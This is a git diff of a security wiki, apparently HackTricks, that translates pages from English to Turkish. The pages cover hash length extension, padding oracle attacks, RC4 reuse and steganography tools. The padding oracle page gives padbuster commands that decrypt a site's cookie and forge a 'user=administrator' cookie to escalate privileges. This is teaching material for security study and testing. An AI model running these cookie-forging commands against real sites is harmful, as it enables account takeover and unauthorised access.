('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

40
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## Saldırının Özeti
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
Bir sunucunun bazı bilinen düz metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız:
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir)
- **Düz metin verisi**
- **Algoritma (ve bu saldırıya karşı savunmasız)**
- **Padding biliniyor**
- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir
- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**.
### How?
### Nasıl?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b.\
Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir:
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- 64 "A"nın MD5'ini oluştur
- Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir
- "append" dizesini ekle
- Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli bir hash olacaktır
### **Tool**
### **Araç**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### Referanslar
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Bu saldırıyı iyi bir şekilde açıklanmış olarak [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz.
{{#include ../banners/hacktricks-training.md}}

79
src/crypto-and-stego/padding-oracle-priv.md
View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
CBC modunda **önceki şifrelenmiş blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
CBC'yi deşifrelemek için **ters** **işlemler** yapılır:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın.
## Message Padding
## Mesaj Doldurma
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Şifreleme **sabit** **boyut** **blokları** içinde gerçekleştirildiğinden, **son** **blokta** uzunluğunu tamamlamak için genellikle **doldurma** gereklidir.\
Genellikle **PKCS7** kullanılır, bu da bloğu tamamlamak için **gerekli** **bayt** **sayısını** **tekrarlayarak** bir doldurma oluşturur. Örneğin, son blokta 3 bayt eksikse, doldurma `\x03\x03\x03` olacaktır.
Let's look at more examples with a **2 blocks of length 8bytes**:
**8 bayt uzunluğunda 2 blok** ile daha fazla örneğe bakalım:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
Son örnekte **son bloğun dolu olduğunu ve sadece doldurma ile yeni bir bloğun oluşturulduğunu** unutmayın.
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Bir uygulama şifrelenmiş verileri deşifre ettiğinde, önce verileri deşifre eder; ardından doldurmayı kaldırır. Doldurmanın temizlenmesi sırasında, eğer **geçersiz bir doldurma tespit edilebilir bir davranış tetiklerse**, bir **padding oracle zafiyeti** vardır. Tespit edilebilir davranış bir **hata**, **sonuç eksikliği** veya **daha yavaş bir yanıt** olabilir.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
Bu davranışı tespit ederseniz, **şifrelenmiş verileri deşifre edebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
### Nasıl istismar edilir
Bu tür bir zafiyeti istismar etmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece yapabilirsiniz.
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
Bu zafiyeti **yeni verileri şifrelemek için de kötüye kullanabilirsiniz. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
Eğer site savunmasızsa `padbuster` otomatik olarak padding hatasının ne zaman meydana geldiğini bulmaya çalışacaktır, ancak hata mesajını **-error** parametresi ile de belirtebilirsiniz.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Teori
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değerin ne olacağını tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
Şimdi, **E0'dan E15'e** kadar olan byte'lardan oluşan **2 blok** kaplayan bazı şifrelenmiş metinleriniz olduğunu hayal edin.\
**Son** **bloğu** (**E8**'den **E15**'e) **şifrelemek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** üretir.\
Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
Artık **`E7`'yi `C15`'in `0x01`** olana kadar **değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Yani, bu durumda: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
E'7'yi bulduğumuzda, **I15'i hesaplamak** mümkündür: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Bu da **C15'i hesaplamamıza** olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
**C15**'i bildiğimizde, şimdi **C14'ü hesaplamak** mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`** eşit olmasını sağlar.\
Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.**
### Detection of the vulnerability
### Açığın Tespiti
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
Bir hesap kaydedin ve bu hesapla giriş yapın.\
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacaktır ve onu **geçersiz kılmanın** bir yolu olmayacaktır.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
Artık çerezi **değiştirmeye** çalıştığınızda, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
### References
### Referanslar
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

4
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

140
src/crypto-and-stego/stego-tricks.md
View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
## **Dosyalardan Veri Çıkarma**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta mevcuttur.
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
Başlıkları ve alt başlıkları temel alarak dosyaları kurtarır, png görüntüleri için faydalıdır. `apt` ile kurulur, kaynağı [GitHub](https://github.com/korczis/foremost) üzerindedir.
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) mevcuttur.
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
Exiftool'e benzer, meta verileri görüntüleme için. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da bulunmaktadır ve bir [resmi web sitesi](http://www.exiv2.org/) vardır.
```bash
exiv2 file # Shows the metadata
```
### **Dosya**
### **File**
İşlemekte olduğunuz dosya türünü belirleyin.
Identify the type of file you're dealing with.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
### **Dizeler**
Çıktıyı filtrelemek için çeşitli kodlama ayarları kullanarak dosyalardan okunabilir dizeleri çıkarır.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Karşılaştırma (cmp)**
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
Çevrimiçi bulunan orijinal versiyonla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Metin İçindeki Gizli Verilerin Çıkarılması**
## **Extracting Hidden Data in Text**
### **Boşluklardaki Gizli Veriler**
### **Hidden Data in Spaces**
Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin.
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Görüntülerden Veri Çıkarma**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **GraphicMagick ile Görüntü Ayrıntılarını Belirleme**
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
Hasarlı bir görüntüyü onarmaya çalışmak için, bir meta veri yorumu eklemek yardımcı olabilir:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Veri Gizleme için Steghide**
### **Steghide for Data Concealment**
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içinde veri gizlemeyi kolaylaştırır, şifreli verileri gömme ve çıkarma yeteneğine sahiptir. Kurulum `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Komutlar:**
**Commands:**
- `steghide info file` bir dosyanın gizli veri içerip içermediğini gösterir.
- `steghide extract -sf file [--passphrase password]` gizli veriyi çıkarır, şifre isteğe bağlıdır.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
Web tabanlı çıkarım için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin.
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Stegcracker ile Bruteforce Saldırısı:**
- Steghide üzerinde şifre kırma denemesi yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) kullanın:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg PNG ve BMP Dosyaları için**
### **zsteg for PNG and BMP Files**
zsteg, PNG ve BMP dosyalarında gizli verileri ortaya çıkarmada uzmanlaşmıştır. Kurulum `gem install zsteg` ile yapılır, [kaynağı GitHub'da](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Komutlar:**
**Commands:**
- `zsteg -a file` bir dosya üzerinde tüm tespit yöntemlerini uygular.
- `zsteg -E file` veri çıkarımı için bir yük belirtir.
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas ve Stegsolve**
### **StegoVeritas and Stegsolve**
**stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri gerçekleştirir ve diğer özelliklerin yanı sıra LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu çalıştırın.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**Stegsolve**, görüntülerde gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) mevcuttur.
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **Gizli İçerik Tespiti için FFT**
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği açığa çıkarabilir. Yararlı kaynaklar şunlardır:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
- [FFTStegPic GitHub'da](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
### **Stegpy Ses ve Görüntü Dosyaları için**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyerek bilgi gömülmesine olanak tanır. [GitHub'da](https://github.com/dhsdshdhk/stegpy) mevcuttur.
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
### **PNG Dosyası Analizi için Pngcheck**
PNG dosyalarını analiz etmek veya doğruluklarını kontrol etmek için:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Görüntü Analizi için Ek Araçlar**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
Daha fazla keşif için ziyaret etmeyi düşünün:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **Seslerden Veri Çıkarma**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**Ses steganografisi**, bilgi gizlemek için ses dosyaları içinde benzersiz bir yöntem sunar. Gizli içeriği gömmek veya geri almak için farklı araçlar kullanılır.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide, JPEG, BMP, WAV ve AU dosyalarında veri gizlemek için tasarlanmış çok yönlü bir araçtır. Ayrıntılı talimatlar [stego tricks documentation](stego-tricks.md#steghide) içinde sağlanmıştır.
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Bu araç, PNG, BMP, GIF, WebP ve WAV dahil olmak üzere çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) bölümüne bakın.
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek için kritik öneme sahiptir, ayrıntılı bilgileri vurgular ve herhangi bir tutarsızlığı belirler.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde verileri gizleme ve çıkarma konusunda mükemmeldir. [GitHub](https://github.com/ragibson/Steganography#WavSteg) üzerinde erişilebilir. Komutlar şunlardır:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound, AES-256 kullanarak ses dosyaları içindeki bilgilerin şifrelenmesi ve tespit edilmesini sağlar. [resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir.
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazla bilgi için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
Ses dosyalarında DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla gerçekleştirilebilir.
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
Tam sayıya kare olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kod parçasını kullanın:
```python
import math
math.sqrt(2500) #50
```
Binary'den görüntüye dönüştürme için [dcode](https://www.dcode.fr/binary-image)'u kontrol edin. QR kodları okumak için [bu çevrimiçi barkod okuyucusunu](https://online-barcode-reader.inliteresearch.com/) kullanın.
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Braille Çevirisi**
### **Braille Translation**
Braille çevirisi için [Branah Braille Translator](https://www.branah.com/braille-translator) mükemmel bir kaynaktır.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **Referanslar**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

Some files were not shown because too many files have changed in this diff Show More